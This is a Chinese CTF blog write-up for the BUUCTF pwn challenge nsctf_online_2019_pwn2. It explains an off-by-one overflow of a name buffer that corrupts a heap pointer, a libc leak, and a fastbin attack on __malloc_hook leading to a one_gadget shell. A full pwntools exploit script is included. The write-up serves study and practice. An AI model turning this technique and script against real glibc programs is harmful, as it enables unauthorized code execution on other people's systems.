[BUUCTF] nsctf_online_2019_pwn2

一道不难但是挺好玩的题,随手记下了。

菜鸡刚刚学pwn几个月,堆是寒假才开始学的,如果哪里说的不对,还请大佬们指正。

checksec一下,防护全开(懒就不放图了),盲猜是道要改malloc_hook的题。

扔进ida看,开始先有一个欢迎语句,并且让我们输入name。程序有五个功能,分别是Add,Delete,Show,Update还有Edit。

在Add中我们申请的堆块大小可以由我们控制,但是这道题只同时保存了一个堆块的指针。

同时在Delete功能里也看到堆块被释放后对应指针被置零,而Show和Edit里也没有什么明显的漏洞。

 

这题的洞在Update里面,在更新name时读入了0x31个字符,比name的大小多了一个字节。而name后面紧邻的,正是我们保存堆块地址的指针!

也就是说我们可以通过溢出name来篡改指针的最低位字节,间接实现UAF,再利用fastbin attack篡改__malloc_hook和__realloc_hook让程序执行onegadget,即可拿到shell。

想打onegadget得先泄露libc基址,那么就要找一个unsorted bin里的堆块,泄露它的fd。

(我这里不知道我当时为啥自找麻烦选择申请个0x80大小的堆块然后又把它篡改成了0x90的大小,大概是我思路不够清晰的缘故吧......其实应该可以一开始就申请0x90的堆块。不过由于这一题我们只能控制指针最后一个字节,我这种做法也许无意中节省了一些空间,尽可能减少了进位带来的困扰?)

    r.recvuntil('Please input your name')
    r.sendline(0x30*'a')    
    Add(0x10)
    Add(0x70)
    Add(0x19)
    Edit(p64(0)+p64(0x21))
    Update(0x30*'a'+'\x10')
    Edit(0x18*'a'+'\x91')
    Update(0x30*'a'+'\x30')
    Del()
    Add(0x10)
    Update(0x30*'a'+'\x50')
    Show()
    libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x3C4B20

我们在释放掉0x90大小的堆块后,指向堆块的指针ptr被置零,需要重新Add一个堆块让ptr指向一个邻近的堆块。这里我们Add(0x10)之后,unsorted bin中0x90大小的堆块被切割,留下的0x70大小的堆块被放进了unsorted bin中,既可以用于泄露libc基址,又能拿来修改malloc_hook,赢麻了!

第一次Del:

再Add(0x10)后:

然后很容易把libc基址泄露出来。

接下来要实施fastbin attack,这块0x70大小的堆块正好可以为我们所用,但是他现在处在unsorted bin中,我们需要将它申请出来再释放到fastbin中,这样才能实行fastbin attack。

后面的就是常规化的操作了,不再赘述。

exp:

from pwn import *

r=remote('node4.buuoj.cn',28820)
#r=process('/home/wjc/Desktop/nsctf_online_2019_pwn2')
e=ELF('/home/wjc/Desktop/nsctf_online_2019_pwn2')
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')

def cmd(idx):
    r.recvuntil("6.exit")
    r.sendline(str(idx))
def Add(size):
    cmd(1)
    r.recvuntil('Input the size')
    r.sendline(str(size))
def Del():
    cmd(2)
def Show():
    cmd(3)
def Update(name):
    cmd(4)
    r.recvuntil('Please input your name')
    r.sendline(name)
def Edit(content):
    cmd(5)
    r.recvuntil('Input the note')
    r.sendline(content)
def exp():
    r.recvuntil('Please input your name')
    r.sendline(0x30*'a')    
    Add(0x10)
    Add(0x70)
    Add(0x19)
    Edit(p64(0)+p64(0x21))
    Update(0x30*'a'+'\x10')
    Edit(0x18*'a'+'\x91')
    Update(0x30*'a'+'\x30')
    Del()
    Add(0x10)
    Update(0x30*'a'+'\x50')
    Show()
    libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x3C4B20
    onegadget=libcbase+0x4526a
    malloc_hook=libcbase+libc.symbols['__malloc_hook']
    realloc_gadget=libcbase+0x846d0
    print('libcbase:',hex(libcbase))
    print('__malloc_hook:',hex(malloc_hook))
    print("fake_chuck:",hex(malloc_hook-35))
    Add(0x60)
    Del()
    Add(0x10)
    Update(0x30*'a'+'\x50')
    Edit(p64(malloc_hook-35))
    Add(0x60)
    Add(0x60)
    Edit((0x13-8)*'a'+p64(onegadget)+p64(realloc_gadget))
    Add(0x10)
exp()
r.interactive()


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值